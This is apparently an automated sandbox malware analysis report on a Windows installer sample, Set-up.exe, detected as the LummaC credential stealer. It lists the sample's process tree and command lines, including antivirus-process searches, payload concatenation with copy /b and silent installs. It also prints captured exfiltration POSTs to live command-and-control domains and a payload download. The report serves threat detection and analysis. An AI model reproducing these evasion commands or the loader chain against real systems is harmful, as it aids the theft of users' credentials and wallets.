Edit tour

Windows Analysis Report
Set-up.exe

Overview

General Information

Sample name:	Set-up.exe
Analysis ID:	1584519
MD5:	8139ecd1163d5fcc41821dbb61ddc2ff
SHA1:	707f18cc33e9ba8f7ada11b202b44876d375cecf
SHA256:	4dbf3891ef5bb0e734b67630fe2b5210035d56307ad663f3867d9ebcdd00497a
Tags:	AutoITexeLummaStealeruser-aachum
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Drops PE files with a suspicious file extension

Found direct / indirect Syscall (likely to bypass EDR)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample or dropped binary is a compiled AutoHotkey binary

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

Set-up.exe (PID: 1972 cmdline: "C:\Users\user\Desktop\Set-up.exe" MD5: 8139ECD1163D5FCC41821DBB61DDC2FF)

cmd.exe (PID: 3856 cmdline: "C:\Windows\System32\cmd.exe" /c move Manor Manor.cmd & Manor.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3868 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 6000 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 1680 cmdline: findstr /I "opssvc wrsa" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 7156 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 3668 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 1864 cmdline: cmd /c md 446130 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

extrac32.exe (PID: 1812 cmdline: extrac32 /Y /E Relations MD5: 9472AAB6390E4F1431BAA912FCFF9707)

findstr.exe (PID: 2140 cmdline: findstr /V "Onto" Lifetime MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 4400 cmdline: cmd /c copy /b 446130\Establish.com + Jon + Suggestion + Career + Biz + Build + Getting + Diving + Generation + Crossword + Betting + Lender 446130\Establish.com MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 1488 cmdline: cmd /c copy /b ..\Teen + ..\Alabama + ..\Important + ..\Drawings + ..\Den + ..\Sluts + ..\Names u MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Establish.com (PID: 6152 cmdline: Establish.com u MD5: 62D09F076E6E0240548C2F837536A46A)

Z7592A1QJ4YAVH9BY5KB8681.exe (PID: 7156 cmdline: "C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe" MD5: C89C55FE25372BFBF8B9264A647C144B)

Z7592A1QJ4YAVH9BY5KB8681.tmp (PID: 6292 cmdline: "C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp" /SL5="$4041A,7875736,845824,C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe" MD5: F809F51E678B7F2E388F8C969EF902C8)

Z7592A1QJ4YAVH9BY5KB8681.exe (PID: 6600 cmdline: "C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe" /VERYSILENT MD5: C89C55FE25372BFBF8B9264A647C144B)

Z7592A1QJ4YAVH9BY5KB8681.tmp (PID: 7056 cmdline: "C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp" /SL5="$5041A,7875736,845824,C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe" /VERYSILENT MD5: F809F51E678B7F2E388F8C969EF902C8)

timeout.exe (PID: 5908 cmdline: "timeout" 9 MD5: 100065E21CFBBDE57CBA2838921F84D6)

conhost.exe (PID: 5280 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5572 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH | find /I "wrsa.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 3568 cmdline: tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 3524 cmdline: find /I "wrsa.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 6980 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH | find /I "opssvc.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 4696 cmdline: tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 4796 cmdline: find /I "opssvc.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 6688 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH | find /I "avastui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 4352 cmdline: tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 4524 cmdline: find /I "avastui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 6804 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH | find /I "avgui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 6576 cmdline: tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 2612 cmdline: find /I "avgui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 1856 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH | find /I "nswscsvc.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4028 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 5804 cmdline: tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 5628 cmdline: find /I "nswscsvc.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 2656 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH | find /I "sophoshealth.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 516 cmdline: tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 4404 cmdline: find /I "sophoshealth.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

ColorStreamLib.exe (PID: 1888 cmdline: "C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe" MD5: A42E953364198E087438838FD14040E7)

choice.exe (PID: 6536 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

cleanup

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Sigma Signatures

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c move Manor Manor.cmd & Manor.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3856, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 3668, ProcessName: findstr.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T18:52:39.538302+0100	2028371	3	Unknown Traffic	192.168.2.5	49816	188.114.96.3	443	TCP
2025-01-05T18:52:40.801527+0100	2028371	3	Unknown Traffic	192.168.2.5	49825	188.114.96.3	443	TCP
2025-01-05T18:52:41.926375+0100	2028371	3	Unknown Traffic	192.168.2.5	49833	188.114.96.3	443	TCP
2025-01-05T18:52:43.112659+0100	2028371	3	Unknown Traffic	192.168.2.5	49842	188.114.96.3	443	TCP
2025-01-05T18:52:44.287988+0100	2028371	3	Unknown Traffic	192.168.2.5	49850	188.114.96.3	443	TCP
2025-01-05T18:52:45.476019+0100	2028371	3	Unknown Traffic	192.168.2.5	49858	188.114.96.3	443	TCP
2025-01-05T18:52:46.727738+0100	2028371	3	Unknown Traffic	192.168.2.5	49865	188.114.96.3	443	TCP
2025-01-05T18:52:48.865546+0100	2028371	3	Unknown Traffic	192.168.2.5	49879	188.114.96.3	443	TCP
2025-01-05T18:52:49.910540+0100	2028371	3	Unknown Traffic	192.168.2.5	49885	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T18:52:40.305657+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49816	188.114.96.3	443	TCP
2025-01-05T18:52:41.279111+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49825	188.114.96.3	443	TCP
2025-01-05T18:52:49.405477+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49879	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T18:52:40.305657+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49816	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T18:52:41.279111+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49825	188.114.96.3	443	TCP

ET MALWARE Possible Windows executable sent when remote host claims to send a Text File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T18:52:50.315166+0100	2008438	1	A Network Trojan was detected	188.114.96.3	443	192.168.2.5	49885	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T18:52:42.607472+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49833	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe

ReversingLabs: Detection: 51%

Multi AV Scanner detection for submitted file

Source: Set-up.exe

Virustotal: Detection: 9%

Perma Link

Source: Set-up.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49885 version: TLS 1.2

Source: Set-up.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: wntdll.pdbUGP source: ColorStreamLib.exe, 0000002F.00000002.3110706022.00000000382AF000.00000004.00000020.00020000.00000000.sdmp, ColorStreamLib.exe, 0000002F.00000002.3110838217.0000000038600000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: ColorStreamLib.exe, 0000002F.00000002.3110706022.00000000382AF000.00000004.00000020.00020000.00000000.sdmp, ColorStreamLib.exe, 0000002F.00000002.3110838217.0000000038600000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49833 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49879 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49816 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49816 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49825 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49825 -> 188.114.96.3:443

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49842 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49825 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49833 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49850 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49816 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49865 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49858 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49879 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49885 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2008438 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send a Text File : 188.114.96.3:443 -> 192.168.2.5:49885

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: deletteproposez.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: deletteproposez.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=782IT52SCMG9V5OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12822Host: deletteproposez.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=1GXFR9EWCAZXY2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15058Host: deletteproposez.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=AFMO5X4EUDFYXS32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20560Host: deletteproposez.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=987M6TIE6NAL1LWH8U7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 988Host: deletteproposez.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=Z5KLEYD1AK6OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 592148Host: deletteproposez.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: deletteproposez.click
Source: global traffic	HTTP traffic detected: GET /int_clp_8888.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipjarifaa.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /int_clp_8888.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipjarifaa.shop

Source: global traffic	DNS traffic detected: DNS query: fJLEZdwdvmkbhApFpKCL.fJLEZdwdvmkbhApFpKCL
Source: global traffic	DNS traffic detected: DNS query: deletteproposez.click
Source: global traffic	DNS traffic detected: DNS query: klipjarifaa.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: deletteproposez.click

Source: Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://crl.certum.pl/cscasha2.crl0q
Source: Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2587763725.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://crl.certum.pl/ctnca.crl0k
Source: Set-up.exe	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: Lender.9.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: Lender.9.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Lender.9.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: Lender.9.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Lender.9.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: Set-up.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
Source: Set-up.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: Set-up.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: Set-up.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2587763725.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.usertr
Source: Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/Sectig
Source: Set-up.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
Source: Set-up.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: Set-up.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: Set-up.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2587763725.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2587763725.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://cscasha2.ocsp-certum.com04
Source: ColorStreamLib.exe, 0000002F.00000002.3088474529.0000000006262000.00000004.00000020.00020000.00000000.sdmp, ColorStreamLib.exe, 0000002F.00000000.3049537887.0000000000B02000.00000002.00000001.01000000.0000000D.sdmp, ColorStreamLib.exe, 0000002F.00000002.3087638158.0000000001080000.00000004.00000020.00020000.00000000.sdmp, is-P5ORS.tmp.20.dr	String found in binary or memory: http://michaeluno.jp/
Source: ColorStreamLib.exe, 0000002F.00000002.3087638158.0000000001080000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://michaeluno.jp/l
Source: Set-up.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Set-up.exe	String found in binary or memory: http://ocsp.comodoca.com0
Source: Lender.9.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2587763725.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp, Set-up.exe, _isdecmp.dll.20.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: Set-up.exe	String found in binary or memory: http://ocsp.sectigo.com0D
Source: Lender.9.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
